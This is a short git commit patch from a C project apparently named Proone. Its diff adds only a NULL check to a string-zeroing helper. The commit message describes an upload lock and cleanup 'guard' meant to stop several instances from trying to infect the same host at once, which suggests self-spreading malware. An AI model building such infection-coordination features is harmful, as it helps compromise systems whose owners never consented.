From 73799fe772152089a6c57aa339f08426cf3eaf11 Mon Sep 17 00:00:00 2001 From: David Timber Date: Fri, 13 Aug 2021 18:22:35 +1000 Subject: Impl bne ... * Add upload lock mechanism to prevent multiple instances trying to infect the same host simultaneously * Add "upload guard". The upload guard cleans up the lock file and the upload directory in the event of upload failure * Fix bug in bne_vssh_flush_f() * prne_strzero() accepts NULL * Fix Proone: missing prne_dvault_reset() calls --- src/util_rt.c | 3 +++ 1 file changed, 3 insertions(+) (limited to 'src/util_rt.c') diff --git a/src/util_rt.c b/src/util_rt.c index c03ee2e..b634786 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -380,6 +380,9 @@ char *prne_rebuild_str (void *prev, const char **const arr, const size_t cnt) { } void prne_strzero (char *str) { + if (str == NULL) { + return; + } for (; *str != 0; str += 1) { *str = 0; } -- cgit